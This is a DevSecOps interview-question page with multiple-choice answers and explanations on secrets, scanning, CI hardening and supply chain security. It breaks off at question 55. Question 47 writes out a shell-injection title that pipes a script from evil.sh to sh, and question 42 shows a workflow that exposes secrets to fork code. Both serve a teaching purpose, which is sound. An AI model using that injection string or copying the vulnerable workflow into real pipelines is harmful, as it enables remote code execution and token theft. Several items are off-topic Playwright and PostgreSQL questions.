Skip to content
RED SAGSkills

DevSecOps interview questions and answers

DevSecOps questions test how security checks fit into everyday delivery without slowing teams down.

Below are 60 DevSecOps questions with the correct answer and a short explanation, grouped from fresher to experienced level. Try each one before you open the answer.

What DevSecOps interviews usually check

  • ✓SAST, DAST and dependency scanning
  • ✓Secrets management
  • ✓Container and image security
  • ✓Policy as code
  • ✓Supply chain security

DevSecOps interview questions for freshers easy

1. Keeping secrets out of code

Your app needs a database password and a payment gateway API key. Where should these values live?

  1. A.Hard-coded in a config.js file committed to Git
  2. B.In environment variables or a secrets manager, not in the source code
  3. C.In the frontend bundle so the browser can call the gateway directly
  4. D.In a comment at the top of the main file
Show answer

Answer: B. In environment variables or a secrets manager, not in the source code

Secrets in Git are leaked to everyone with repo access and stay in history forever. Environment variables or a secrets manager (AWS Secrets Manager, Vault, etc.) keep them out of code and let you rotate them per environment. Secret keys must never be shipped to the browser.

2. What Trivy scans for

You add trivy image myapp:1.2 to the pipeline. What does it check?

  1. A.Unit test coverage and code quality of the application source code.
  2. B.The CPU and memory requests the container will need in production.
  3. C.Known CVEs in OS packages and libraries, plus misconfigurations and secrets.
  4. D.Whether the image name, tag and labels follow the company naming rules.
Show answer

Answer: C. Known CVEs in OS packages and libraries, plus misconfigurations and secrets.

Trivy compares the packages and language dependencies inside an image against vulnerability databases and reports CVEs by severity. It can also scan IaC files and Kubernetes manifests for misconfigurations, find secrets and generate SBOMs. In CI you usually fail the build on high or critical issues that have a fix available.

3. Why use Vault dynamic secrets

What is the main benefit of HashiCorp Vault dynamic database secrets over a shared static password?

  1. A.Each client gets its own short-lived credentials that Vault revokes when the lease ends.
  2. B.The shared password is kept in plain text in Vault, so it is easy to share across many teams and apps.
  3. C.Dynamic secrets never expire, so applications never need to reconnect or renew them.
  4. D.They remove the need for applications to authenticate to Vault in any way.
Show answer

Answer: A. Each client gets its own short-lived credentials that Vault revokes when the lease ends.

With dynamic secrets Vault creates a unique database user per client with a lease, and deletes it when the lease expires or is revoked. A leak is limited in time and traceable to one client, and there is no long-lived password to rotate. The trade-off is that apps must handle renewal or fetch new credentials.

4. What SAST does

Your pipeline adds a SAST step such as Semgrep or CodeQL. What does it do?

  1. A.Attacks the running app over HTTP to find flaws
  2. B.Lists open-source packages and their known CVEs
  3. C.Watches production traffic for attacks in real time
  4. D.Analyses source code for insecure patterns without running it
Show answer

Answer: D. Analyses source code for insecure patterns without running it

Static Application Security Testing reads your own code (or bytecode) and flags patterns such as SQL built from user input or unsafe deserialisation. It runs early, even on a pull request, and needs no running app. Testing a live app is DAST, and checking third-party packages is SCA.

5. What SCA tools find

A Software Composition Analysis tool such as Dependabot alerts, Snyk or OWASP Dependency-Check flags your build. What is it looking at?

  1. A.Logic bugs in the code your team wrote
  2. B.Misconfigured firewall rules in the cloud
  3. C.Third-party libraries and their known vulnerabilities
  4. D.Weak passwords used by your developers
Show answer

Answer: C. Third-party libraries and their known vulnerabilities

Most of a modern app is open-source dependencies. SCA builds a list of them (including transitive ones) from manifests and lockfiles and matches them against vulnerability databases and licence rules. It tells you which package version to upgrade to.

6. What an SBOM is

A customer asks your company for an SBOM for the app you sell them. What are they asking for?

  1. A.A list of all components and versions inside the software
  2. B.A signed report of your last penetration test
  3. C.The full source code of your application
  4. D.A diagram of your production network
Show answer

Answer: A. A list of all components and versions inside the software

A Software Bill of Materials lists the packages, libraries and versions a piece of software contains, often in SPDX or CycloneDX format. With it, the customer can quickly check whether a newly announced vulnerability affects them. It does not include source code.

7. Least privilege for a CI token

A CI job only needs to push images to one registry repository. Which credential setup follows least privilege?

  1. A.An org admin token so the job never fails on rights
  2. B.A token that can only push to that one repository
  3. C.A developer's personal token with full account access
  4. D.A shared token used by every pipeline in the company
Show answer

Answer: B. A token that can only push to that one repository

Least privilege means giving only the access a task needs. If that token leaks, the damage is limited to pushing to one repository. Admin or personal tokens give an attacker far more, and shared tokens make it hard to rotate or trace.

8. Why use a minimal base image

Your scanner finds 140 CVEs in an image based on a full Ubuntu image, most in packages the app never uses. What is the most effective first step?

  1. A.Switch to a minimal or distroless base image
  2. B.Mark every finding as a false positive
  3. C.Scan the image less often to reduce noise
  4. D.Run the container with more CPU and memory
Show answer

Answer: A. Switch to a minimal or distroless base image

Every package in the image is something that can have a vulnerability and something an attacker can use. Minimal and distroless bases keep only what the app needs, often cutting findings sharply and removing shells and package managers. Hiding findings does not reduce risk.

9. What Dependabot or Renovate do

What is the main job of tools like Dependabot version updates or Renovate in a repository?

  1. A.Encrypt secrets stored in the repository
  2. B.Block all pull requests from new contributors
  3. C.Open PRs that update dependencies to newer versions
  4. D.Scan production servers for open ports
Show answer

Answer: C. Open PRs that update dependencies to newer versions

These bots watch your dependency files and open pull requests when new versions or security fixes are out. CI then tests each update, so staying current becomes a small routine. Old dependencies are a common source of known vulnerabilities.

10. What secret rotation means

Your security policy says database passwords must be rotated every 90 days. What does rotation mean?

  1. A.Moving the secret to a different folder in the vault
  2. B.Encrypting the same secret with a stronger algorithm
  3. C.Sharing the secret with a new team member
  4. D.Replacing the secret with a new value and retiring the old one
Show answer

Answer: D. Replacing the secret with a new value and retiring the old one

Rotation means issuing a new credential, switching apps to it, and revoking the old one. If the old value leaked without anyone knowing, it stops working. Automated rotation, or short-lived dynamic credentials, makes this painless.

11. Why require a second reviewer

Your pipeline lets any engineer merge and deploy their own change to production with no review. Which control is missing?

  1. A.Encryption at rest for the production database
  2. B.A web application firewall in front of the app
  3. C.Multi-region failover for the service
  4. D.Separation of duties, such as a required second reviewer
Show answer

Answer: D. Separation of duties, such as a required second reviewer

Separation of duties means one person cannot both make and approve a sensitive change. A required review from someone else catches mistakes and makes insider abuse harder. Auditors in regulated sectors, such as banking in India or the UAE, usually expect it.

12. When to scan container images

Your team scans images only once, at build time. Why should images in the registry also be scanned regularly?

  1. A.New CVEs are published after the build for packages already in it
  2. B.Images change their contents while stored in the registry
  3. C.Build-time scans can only check the first layer
  4. D.Registries delete images that were not scanned
Show answer

Answer: A. New CVEs are published after the build for packages already in it

An image that was clean on build day may contain a package with a CVE announced next week. Continuous registry or runtime scanning re-checks stored images against new data. The image itself has not changed; what is known about it has.

13. In transit vs at rest

Your service calls the database over TLS, and the database disks use encryption. Which pairing is correct?

  1. A.TLS protects data at rest; disk encryption protects it in transit
  2. B.TLS protects data in transit; disk encryption protects it at rest
  3. C.Both protect only data in transit
  4. D.Both protect only backups
Show answer

Answer: B. TLS protects data in transit; disk encryption protects it at rest

Encryption in transit, like TLS, protects data moving over a network from being read or changed. Encryption at rest protects stored data if disks, snapshots or backups are stolen. Neither stops someone who has valid app or database access, so access control is still needed.

14. AGPL library in a SaaS product

SCA reports that your closed-source SaaS backend now includes an AGPL-3.0 licensed library. Why does legal want to review it?

  1. A.AGPL can require sharing your source with users over a network
  2. B.AGPL libraries are known to contain malware
  3. C.AGPL code cannot run on Linux servers
  4. D.AGPL forbids any commercial company from using it
Show answer

Answer: A. AGPL can require sharing your source with users over a network

AGPL extends the GPL so that offering the software to users over a network can trigger the duty to make the source of the modified program available. For closed-source SaaS that can be a serious problem. SCA tools check licences against your policy for this reason.

15. Defence in depth

Your app validates input, runs as non-root, sits behind a WAF and has strict network rules. What principle does this layering follow?

  1. A.Security through obscurity: hide how the app works
  2. B.Single point of control: one strong gate is enough
  3. C.Fail open: allow traffic when a check is unsure
  4. D.Defence in depth: several controls, so one failure is not fatal
Show answer

Answer: D. Defence in depth: several controls, so one failure is not fatal

Defence in depth stacks independent controls so that if one is bypassed or misconfigured, the others still limit damage. No single control is perfect. Obscurity alone and fail-open designs are weaknesses, not principles to aim for.

16. Standing admin access to production

Ten engineers have permanent admin access to production "in case of incidents". What is a better approach?

  1. A.Just-in-time access granted for a short time with approval
  2. B.Give all 30 engineers admin so nobody is blocked
  3. C.Share one admin account so access is easy to track
  4. D.Remove all access, including during incidents
Show answer

Answer: A. Just-in-time access granted for a short time with approval

Just-in-time access grants elevated rights only when needed, for a limited time, often with approval and logging. This shrinks the window in which stolen credentials are useful and leaves a clear record. Shared accounts make it impossible to know who did what.

17. What OpenSSF Scorecard checks

Before adopting an open-source library, your team runs OpenSSF Scorecard on its repository. What does Scorecard tell you?

  1. A.Whether the library runs faster than its rivals
  2. B.How many companies pay for support of the library
  3. C.How well the project follows security practices
  4. D.The exact CVEs present in your own application
Show answer

Answer: C. How well the project follows security practices

Scorecard runs automated checks on a repository, such as branch protection, code review, pinned dependencies, signed releases, dangerous workflow patterns and maintenance activity, and gives each a score. It is a quick signal of supply chain hygiene. It does not replace vulnerability scanning of the versions you use.

18. Why rotate secrets

Why do security teams ask for database passwords and API keys to be rotated regularly?

  1. A.Because old passwords make database queries run slower
  2. B.Because cloud providers charge more for older secrets
  3. C.To make sure every developer knows the newest password
  4. D.To limit how long a leaked secret stays useful to an attacker
Show answer

Answer: D. To limit how long a leaked secret stays useful to an attacker

Rotation shortens the window in which a stolen secret works. Automated rotation, for example in Secrets Manager or Key Vault, changes the secret without people ever seeing it. Developers should not need to know production passwords at all.

19. Where API keys belong

A model service needs an API key for a vector database. Where should the key live?

  1. A.Hard-coded in the Python source
  2. B.Copied into the Docker image during build
  3. C.In a secrets manager or Kubernetes Secret, injected at runtime
  4. D.In the experiment tracking run parameters
Show answer

Answer: C. In a secrets manager or Kubernetes Secret, injected at runtime

Anything in source code or image layers can be read by anyone with access to the repo or registry, and stays in history. A secrets manager or Kubernetes Secret injects the key at runtime, supports rotation and limits who can read it. Never log secrets as run parameters either.

20. Running against different environments

Tests must run against staging and production-like environments. What is the cleanest Playwright setup?

  1. A.Hard-code the full staging URL in every single page.goto call in each test
  2. B.Set baseURL in the config from an env variable and use page.goto('/login')
  3. C.Keep two copies of the test files, one for each environment
  4. D.Edit the hosts file on every machine before each run
Show answer

Answer: B. Set baseURL in the config from an env variable and use page.goto('/login')

With use: { baseURL: process.env.BASE_URL } the tests use relative paths, and the same suite runs anywhere by changing one variable. Copying tests or hard-coding URLs makes maintenance much harder.

DevSecOps intermediate interview questions medium

21. Sensitive outputs and state

A module creates a database password and marks the output sensitive = true. A reviewer says the secret is now safe. What is the catch?

  1. A.Terraform encrypts sensitive values in state using a key derived from the provider credentials.
  2. B.It only hides the value in CLI output; state still holds it in plain text.
  3. C.Sensitive values are never written to the state file, only to the plan file.
  4. D.Setting sensitive = true makes apply fail, so the password is never created.
Show answer

Answer: B. It only hides the value in CLI output; state still holds it in plain text.

Marking values sensitive redacts them from plan and apply output, but state still holds them in clear text. Protect the backend with encryption and tight IAM, and prefer generating secrets in a secret manager so Terraform only stores a reference. Newer versions add ephemeral values and write-only arguments to keep some secrets out of state entirely.

22. Secrets empty on fork PRs

An integration test step works on branches in your repo but fails for pull requests from forks because the API token secret is empty. Why?

  1. A.Repository secrets expire after 24 hours of inactivity and must be created again.
  2. B.GitHub withholds repository secrets from pull_request runs on forks, to protect them.
  3. C.Workflows from forks need a different YAML syntax to read repository secrets.
  4. D.The secret name must start with FORK_ before GitHub will share it with forked repos.
Show answer

Answer: B. GitHub withholds repository secrets from pull_request runs on forks, to protect them.

Code in a fork PR is untrusted, so GitHub withholds secrets on the pull_request event. Run secret-free tests for forks, and run secret-needing jobs after a maintainer review, for example via an environment with required reviewers. Do not work around it with pull_request_target checking out PR code, which exposes secrets.

23. Running builds on the Jenkins controller

Why is it a best practice to set the Jenkins controller to 0 executors and run builds on agents?

  1. A.Builds there can read its secrets and config, and heavy jobs slow the UI and scheduler.
  2. B.The controller cannot run sh or bat steps at all, so most pipeline builds would simply fail there.
  3. C.Agents are free to use, while builds on the controller are licensed and billed per run.
  4. D.Pipelines running on the controller are not able to check out code from Git remotes.
Show answer

Answer: A. Builds there can read its secrets and config, and heavy jobs slow the UI and scheduler.

A build on the controller runs with access to JENKINS_HOME, which holds secrets and configuration, so a malicious or buggy build can take over Jenkins. It also competes for CPU and memory with the scheduler and web UI. Ephemeral agents, for example Kubernetes Pod agents, give isolation and a clean workspace per build.

24. Cloud key pushed to a public repo

A developer pushed a cloud access key to a public GitHub repo 10 minutes ago. What should you do first?

  1. A.Force push to delete the commit from main; that removes the key from everywhere it was seen or cloned.
  2. B.Make the repository private straight away, which hides the commit from scanners.
  3. C.Revoke or rotate the key now and check audit logs for misuse, then clean the history.
  4. D.Add the file to .gitignore and push again, so the key is replaced in the next commit.
Show answer

Answer: C. Revoke or rotate the key now and check audit logs for misuse, then clean the history.

Bots scan public repos within minutes, so assume the key is already compromised. Revoking it is the only action that actually stops abuse; then review audit logs for activity. Rewriting history and gitignore are cleanup and prevention steps, and secret scanning with push protection helps stop it next time.

25. Handling a SAST false positive

SAST flags a SQL injection, but you confirm the input is an enum validated against a fixed list. The finding blocks the PR. What is the right way to handle it?

  1. A.Disable the SQL injection rule for the whole repo
  2. B.Remove the SAST step from the pipeline
  3. C.Merge with admin rights to skip the check
  4. D.Suppress that one finding inline with a written reason
Show answer

Answer: D. Suppress that one finding inline with a written reason

A targeted suppression, with a reason and ideally a reviewer, keeps the rule working everywhere else and leaves an audit trail. Turning off the rule or the tool hides future real issues. Tune noisy rules centrally if they misfire often.

26. How Pods log in to Vault

Pods need to read secrets from HashiCorp Vault without a long-lived Vault token baked into the image. Which auth method is designed for this?

  1. A.Userpass auth with a shared password in a ConfigMap
  2. B.Kubernetes auth, using the Pod ServiceAccount token
  3. C.A root token stored in a Kubernetes Secret
  4. D.GitHub auth with each developer's token
Show answer

Answer: B. Kubernetes auth, using the Pod ServiceAccount token

With the Kubernetes auth method, the Pod sends its ServiceAccount JWT to Vault, which checks it with the cluster and maps the ServiceAccount and namespace to a Vault role. The Pod gets a short-lived Vault token limited to its policies. No static secret is stored in the image or manifests.

27. CVE with a fixed version available

A scan shows a high CVE in openssl from your base image, with "fixed in" a newer package version. Your app code has not changed. What should you do?

  1. A.Wait for the next feature release to rebuild
  2. B.Mark it accepted, since the app code is clean
  3. C.Rebuild on an updated base image and redeploy
  4. D.Upgrade openssl inside the running containers
Show answer

Answer: C. Rebuild on an updated base image and redeploy

Base image maintainers ship patched packages, but your image keeps the old ones until you rebuild. Rebuilding on the latest patched tag (or digest) and redeploying fixes it. Patching running containers is lost on restart and breaks immutability; automate base image rebuilds.

28. Using secrets in a Jenkinsfile

A Jenkins pipeline needs a deploy token stored in the Jenkins credentials store. What is the recommended way to use it in a step?

  1. A.Copy the token value into the Jenkinsfile in Git
  2. B.Print the token at the start of the build to check it
  3. C.Store the token in a global environment variable
  4. D.withCredentials binds it to a variable only inside that block
Show answer

Answer: D. withCredentials binds it to a variable only inside that block

withCredentials (or credentials() in declarative syntax) exposes the secret only inside a scoped block and masks it in the console. Pass it to tools through environment variables, not string interpolation in sh commands, so it does not appear in process lists. Global variables would make it visible to every job.

29. Rotating an API key without downtime

Many services call your API with one shared signing key. Rotating it by swapping old for new breaks callers until they redeploy. What pattern avoids downtime?

  1. A.Rotate during a public holiday when no one calls the API
  2. B.Keep the same key and add a second password on top of it
  3. C.Email the new key to all teams and switch over at midnight
  4. D.Accept both keys for a while, move callers, retire the old
Show answer

Answer: D. Accept both keys for a while, move callers, retire the old

Dual-key rotation lets the server accept both keys during an overlap. Callers switch to the new key one by one, and once no traffic uses the old one, it is revoked. Key IDs (like kid in JWTs) let receivers pick the right key.

30. Cloud access without key files

A GKE workload needs to read a Cloud Storage bucket. The team plans to download a service account JSON key and mount it as a Secret. What is the better approach?

  1. A.Commit the JSON key to a private repository
  2. B.Use Workload Identity to map the Kubernetes SA to a cloud identity
  3. C.Base64 encode the key twice before mounting
  4. D.Use the node's default service account for every Pod
Show answer

Answer: B. Use Workload Identity to map the Kubernetes SA to a cloud identity

Workload identity (GKE Workload Identity, EKS Pod Identity or IRSA, AKS Workload Identity) lets a Kubernetes ServiceAccount get short-lived cloud tokens automatically. There is no long-lived key to leak or rotate, and each workload gets its own narrow role. Sharing the node account gives every Pod the same rights.

31. Who can read etcd

A team wants to give a backup tool direct read access to etcd "just for snapshots". Why is this sensitive?

  1. A.etcd only holds Pod logs, so it is not very sensitive
  2. B.Snapshots erase some etcd data while they are running
  3. C.etcd holds every Secret, so access is near cluster admin
  4. D.etcd access lets the tool change the node CPU limits
Show answer

Answer: C. etcd holds every Secret, so access is near cluster admin

etcd stores all cluster objects, including Secrets, which are only base64 encoded unless encryption at rest is on. Direct etcd access bypasses Kubernetes RBAC and audit. Restrict it tightly, encrypt Secrets with KMS, and protect the snapshot files as carefully as the cluster.

32. Detecting a shell in a container

You want an alert when someone opens an interactive shell inside a production container, or when a container writes under /etc. Which kind of tool does this?

  1. A.An SCA tool that reads the package-lock.json file
  2. B.A runtime tool like Falco that watches system calls
  3. C.A SAST tool that scans the Git repository on each PR
  4. D.A linter that checks the Kubernetes YAML files
Show answer

Answer: B. A runtime tool like Falco that watches system calls

Runtime detection tools such as Falco or Tetragon watch kernel events (through eBPF) and match rules like "terminal shell in container" or "write below /etc". They catch attacks in progress, which build-time scans cannot. Send their alerts to your SIEM or on-call channel.

33. The two main SBOM formats

A government buyer asks for an SBOM "in a standard format". Which two formats are the widely used standards?

  1. A.SPDX and CycloneDX
  2. B.JSON Schema and OpenAPI
  3. C.SARIF and JUnit XML
  4. D.Markdown and CSV
Show answer

Answer: A. SPDX and CycloneDX

SPDX (a Linux Foundation project and ISO/IEC standard) and CycloneDX (from OWASP) are the two main SBOM formats, and tools like Syft and Trivy output both. SARIF is a format for static analysis results, not component inventories. Pick the one your customers and tools accept.

34. Trusting a deploy webhook

Your deploy service accepts webhooks from GitHub on a public URL. How should it confirm a request really came from GitHub?

  1. A.Check that the User-Agent header says GitHub-Hookshot
  2. B.Verify the HMAC signature header with the webhook secret
  3. C.Accept requests only if the JSON body parses as valid
  4. D.Check that the request arrived over HTTP/2 from the internet
Show answer

Answer: B. Verify the HMAC signature header with the webhook secret

GitHub signs each delivery with HMAC-SHA256 using your webhook secret and sends it in X-Hub-Signature-256. The receiver recomputes it over the raw body and compares in constant time. Headers like User-Agent are trivial to fake.

35. Who read a Kubernetes Secret

After a breach, you need to know which identities read the payments Secret over the last week. What must be configured on the cluster beforehand?

  1. A.A NetworkPolicy that blocks the payments namespace
  2. B.An audit policy that logs get, list and watch on Secrets
  3. C.A liveness probe on every payments Pod
  4. D.A ResourceQuota on Secrets in the namespace
Show answer

Answer: B. An audit policy that logs get, list and watch on Secrets

Kubernetes audit logging records API requests with user, verb, resource and time, based on an audit policy. Logging Secret access at Metadata level captures who read what without writing the secret values into the logs. Send audit logs off the cluster so an attacker cannot erase them.

36. Azure VM reading Key Vault safely

An app on an Azure VM must read secrets from Key Vault without storing any credentials on the VM. What should you use?

  1. A.A shared access signature string in the app code
  2. B.A service principal client secret in app settings
  3. C.A managed identity granted access to the Key Vault
  4. D.The storage account access key
Show answer

Answer: C. A managed identity granted access to the Key Vault

Managed identities give Azure resources an identity in Microsoft Entra ID with tokens handled by the platform, much like IAM roles on AWS. You grant that identity a Key Vault role such as Key Vault Secrets User. No secret is stored, so there is nothing to leak or rotate.

37. Secrets in Terraform state

A Terraform module creates an RDS database with a password variable. Where can that password end up in plain text?

  1. A.Nowhere; Terraform hashes all sensitive values before storing
  2. B.Only in the RDS console under the instance's details page
  3. C.In the AWS bill, listed next to the RDS line item
  4. D.In the Terraform state file, so the state backend must be protected
Show answer

Answer: D. In the Terraform state file, so the state backend must be protected

Terraform stores resource attributes, including many secrets, in state. Marking a variable sensitive only hides it from CLI output. Keep state in an encrypted, access-controlled backend such as S3 with KMS and tight IAM, or let RDS manage the master password in Secrets Manager so Terraform never sees it.

38. Checkpoints occurring too frequently

The log keeps showing "checkpoints are occurring too frequently" during the night batch load. Which change usually helps?

  1. A.Lower checkpoint_timeout to 1 minute
  2. B.Lower shared_buffers
  3. C.Raise max_wal_size
  4. D.Set wal_level = minimal on the primary with replicas
Show answer

Answer: C. Raise max_wal_size

A checkpoint starts early when the WAL written since the last one passes max_wal_size. Raising it spaces checkpoints out, which cuts I/O spikes and full-page writes. The trade-off is longer crash recovery and more disk used by WAL.

39. Secret or certificate for an app registration

A daemon app authenticates to Microsoft Graph with a client secret stored in its config file. Why do Microsoft and most teams prefer a certificate, or better a managed identity?

  1. A.Certificates never expire, so they need no rotation
  2. B.Secrets cannot be used for app-only Graph permissions
  3. C.It proves a private key instead of sending a string
  4. D.Certificates grant the app extra Graph permissions
Show answer

Answer: C. It proves a private key instead of sending a string

A client secret is just a string sent to the token endpoint; anyone who copies it from a config file or log can use it. With a certificate, the app signs an assertion with a private key that can be kept in a key vault or hardware module, and never sent. A managed identity or workload identity federation removes the stored credential completely.

40. A user in Dubai

You need to test that delivery slots show in Gulf Standard Time and that the store finder uses the user's location in Dubai. Which settings apply?

  1. A.locale: 'ar-AE' alone, which sets both time zone and location
  2. B.Change the CI server clock to UTC+4 before the run
  3. C.timezoneId: 'Asia/Dubai', geolocation with permissions: ['geolocation']
  4. D.viewport: { width: 1280, height: 720 } with a Dubai IP address
Show answer

Answer: C. timezoneId: 'Asia/Dubai', geolocation with permissions: ['geolocation']

Contexts can emulate timezoneId, locale and geolocation separately. Geolocation also needs the permission granted, or the page will see a denied prompt. Locale alone does not change the time zone or the location.

DevSecOps interview questions for experienced candidates hard

41. A config change takes down every region

A single bad config value, pushed globally in one step, broke all regions within a minute. Code changes go through canaries but config does not. What is the fix?

  1. A.Stop storing settings in config files
  2. B.Validate config and roll it out in stages like code
  3. C.Let only senior engineers edit config
  4. D.Roll back config automatically every hour
Show answer

Answer: B. Validate config and roll it out in stages like code

Config changes can break systems as badly as code, and global instant pushes remove any chance to catch them. Treat config as code: schema validation, review, and staged rollout region by region with automatic health checks and rollback. Many large outages trace back to unstaged config pushes.

42. Risky GitHub Actions trigger

A public repo has this workflow. Why is it dangerous?

on: pull_request_target
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm ci && npm test
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
  1. A.pull_request_target does not run on forks, so tests never run.
  2. B.actions/checkout@v4 is deprecated and cannot check out a SHA.
  3. C.npm ci is not allowed in GitHub Actions.
  4. D.pull_request_target runs with the base repo secrets and write token, and this job checks out and runs untrusted code from the fork, so an attacker can steal NPM_TOKEN or push changes.
Show answer

Answer: D. pull_request_target runs with the base repo secrets and write token, and this job checks out and runs untrusted code from the fork, so an attacker can steal NPM_TOKEN or push changes.

pull_request_target runs in the context of the base repository, with access to secrets and a token that may have write permissions. Checking out the PR head and running its scripts (npm install hooks, tests) lets anyone who opens a PR execute code with those privileges. Use the pull_request trigger for untrusted code, and keep secrets in separate, trusted workflows.

43. Prioritising beyond CVSS

You have two findings: CVE-A, CVSS 9.8, EPSS 0.2%, not in CISA KEV; and CVE-B, CVSS 7.5, EPSS 94%, listed in KEV, on an internet-facing service. Which do you fix first?

  1. A.CVE-A, because its CVSS score is higher
  2. B.Both at the same time, since both are High or worse
  3. C.CVE-B, because it is being exploited and is exposed
  4. D.Neither until a vendor advisory is released
Show answer

Answer: C. CVE-B, because it is being exploited and is exposed

CVSS measures severity, not likelihood. EPSS estimates the chance of exploitation in the next 30 days, and the CISA KEV catalogue lists vulnerabilities known to be exploited in the wild. A KEV-listed, internet-facing CVE-B is the bigger real risk now; CVE-A still needs fixing on schedule.

44. What SLSA Build L3 adds

Your builds already produce signed provenance from a hosted CI service (SLSA Build L2). What does moving to SLSA Build Level 3 mainly add?

  1. A.A list of every licence in the dependency tree
  2. B.Two human reviewers required on every code change
  3. C.Signed Git commits from every single developer
  4. D.A hardened builder that builds cannot tamper with
Show answer

Answer: D. A hardened builder that builds cannot tamper with

SLSA build levels are about trusting how an artifact was produced. L1 has provenance, L2 adds a hosted platform that signs it, and L3 requires a hardened platform that isolates builds so user steps cannot forge provenance or reach signing keys. Code review and licences are outside the build track.

45. How keyless cosign signing works

Your CI signs images with `cosign sign` in keyless mode, with no private key stored anywhere. What makes the signature trustworthy?

  1. A.A short-lived cert tied to the CI OIDC identity, logged in Rekor
  2. B.A long-lived key that GitHub stores for each repository
  3. C.The image digest acting as its own signature
  4. D.A password typed by the release manager at sign time
Show answer

Answer: A. A short-lived cert tied to the CI OIDC identity, logged in Rekor

In keyless signing, cosign gets an OIDC token from the CI, and Fulcio issues a certificate valid for minutes bound to that identity (for example the workflow path). The signature is recorded in the Rekor transparency log. Verifiers check the expected identity and issuer, so there is no key to leak or rotate.

46. Answering a customer scan with VEX

A customer's scanner flags a CVE in a library inside your product. You have confirmed the vulnerable code is never loaded. What lets you state this in a machine-readable way?

  1. A.A second SBOM with the library removed from the list
  2. B.A PDF letter from your CTO
  3. C.A CVSS score lowered to 0.0 in your report
  4. D.A VEX document marking the CVE not_affected with a justification
Show answer

Answer: D. A VEX document marking the CVE not_affected with a justification

VEX (Vulnerability Exploitability eXchange) lets a supplier state the status of a CVE for a product: not_affected, affected, fixed or under_investigation, with a reason such as vulnerable code not present or not in the execution path. Scanners can use it to drop the alert. Editing the SBOM would make it inaccurate.

47. Injection through an issue title

Which change fixes the security bug in this workflow step that runs on new issues?

- name: Label issue
  run: |
    echo "New issue: ${{ github.event.issue.title }}"
    ./label.sh "${{ github.event.issue.title }}"
  1. A.Wrap the expression in single quotes instead of double
  2. B.Pass the title through env and use "$TITLE" in the script
  3. C.Add permissions: issues: write to the job
  4. D.Run the step on a Windows runner instead
Show answer

Answer: B. Pass the title through env and use "$TITLE" in the script

The ${{ }} expression is pasted into the script before the shell runs, so a title like a"; curl evil.sh | sh; " becomes shell code. Setting env: TITLE: ${{ github.event.issue.title }} and using "$TITLE" makes it data. Quotes in the template do not help, because the attacker can close them.

48. Secrets as env vars vs files

Your team debates passing a database password to a Pod as an environment variable or as a mounted file. What is a real security advantage of the mounted file?

  1. A.Files are encrypted inside the container, env vars are not
  2. B.Env vars are visible to every Pod on the node
  3. C.Mounted files cannot be read by the app process itself
  4. D.Env vars leak more easily via child processes, dumps and debug pages
Show answer

Answer: D. Env vars leak more easily via child processes, dumps and debug pages

Environment variables are passed to every child process, often appear in crash reports, error pages and debug endpoints that dump the environment, and cannot change without a restart. A mounted file can have tight permissions and be refreshed when rotated. Neither is encrypted inside the container.

49. Running customer code in containers

Your SaaS runs code uploaded by customers inside containers on shared nodes. Normal containers share the host kernel. What adds a strong isolation layer?

  1. A.A larger memory limit on each customer Pod
  2. B.A separate namespace for each customer
  3. C.A readiness probe on every customer container
  4. D.A sandboxed runtime like gVisor or Kata via a RuntimeClass
Show answer

Answer: D. A sandboxed runtime like gVisor or Kata via a RuntimeClass

Standard containers rely on the shared kernel, so a kernel bug can lead to escape. gVisor puts a user-space kernel in between and Kata runs each Pod in a light VM, both selected with a RuntimeClass. Namespaces and quotas organise things but do not isolate the kernel.

50. CVE in a package the app never uses

An image ships ImageMagick only because an old base image included it. The app never calls it, and a critical CVE has no fix yet. What is the best action?

  1. A.Accept it permanently, since the app never calls it
  2. B.Remove the package from the image so the finding is gone
  3. C.Wait for the upstream fix and do nothing until then
  4. D.Block the CVE ID in the scanner for all images
Show answer

Answer: B. Remove the package from the image so the finding is gone

A tool the app does not need is still there for an attacker who gets in, and keeps showing in every scan. Removing it, or moving to a slimmer base, fixes the risk and the noise at once. Accepting risk needs a reason and a review date; suppressing it everywhere hides it in images that do use it.

51. Revoking leaked dynamic DB credentials

Your app gets dynamic database credentials from Vault at database/creds/orders. You suspect the app's host was compromised. How do you cut off every credential it was issued, quickly?

  1. A.vault lease revoke -prefix database/creds/orders
  2. B.Change the Vault root token and restart Vault
  3. C.Delete the database role and wait for leases to expire
  4. D.Restart the app so it requests new credentials
Show answer

Answer: A. vault lease revoke -prefix database/creds/orders

Each dynamic credential is tied to a Vault lease. Revoking by prefix makes Vault delete all database users created under that path at once. Waiting for the TTL leaves a window, and restarting the app gives the attacker nothing back but does not kill the old credentials.

52. Installing a CLI with curl | bash

A pipeline step installs a tool with `curl -sL https://get.example.dev | bash`, fetching the latest version each run. What is the safer pattern?

  1. A.Add -k to curl so TLS errors do not stop the build
  2. B.Run the same command but only on main branch builds
  3. C.Download a pinned version and check its checksum or signature
  4. D.Cache the script output so it runs only once a week
Show answer

Answer: C. Download a pinned version and check its checksum or signature

Piping a remote script to bash runs whatever the server sends that day, so a hacked site or changed release goes straight into your build. Pin the version, verify a published SHA-256 or signature, or use a vetted base image with the tool. curl -k would remove TLS checks and make it worse.

53. Lesson from the xz utils backdoor

In the 2024 xz utils backdoor, malicious build code was in the release tarballs but not in the Git source, and it was added by a trusted maintainer after years of work. Which practice would most help catch this class of attack?

  1. A.Scan the Git repository with SAST more often
  2. B.Only use packages that have more than one release
  3. C.Run the library in a container with a memory limit
  4. D.Build from verified source and compare with reproducible builds
Show answer

Answer: D. Build from verified source and compare with reproducible builds

The payload hid in generated release files and test data, so reviewing Git alone missed it. Building from the tagged source yourself, and checking that independent builds produce identical output, shows when a published artifact does not match its source. It also showed the risk of relying on one overworked maintainer.

54. Vault restarts at 3 a.m.

A Vault node restarts at night and stays sealed until three key holders type their unseal key shares. Apps cannot get secrets for hours. What removes this manual step while keeping keys protected?

  1. A.Store the unseal key shares in a ConfigMap for Vault
  2. B.Disable sealing so that Vault always starts unlocked
  3. C.Keep the key shares inside the Vault KV engine itself
  4. D.Auto-unseal using a cloud KMS or HSM to protect the root key
Show answer

Answer: D. Auto-unseal using a cloud KMS or HSM to protect the root key

With auto-unseal, Vault's root key is encrypted by a key in a cloud KMS or HSM, and Vault calls the KMS at start-up to unseal itself. Access to that KMS key is then the critical control and is audited. Shares in a ConfigMap or inside Vault would defeat the purpose.

55. SBOM from source vs from the image

An SBOM generated from your repo lists 120 npm packages. An SBOM generated from the final container image lists 310 components. Which one better shows what runs in production, and why?

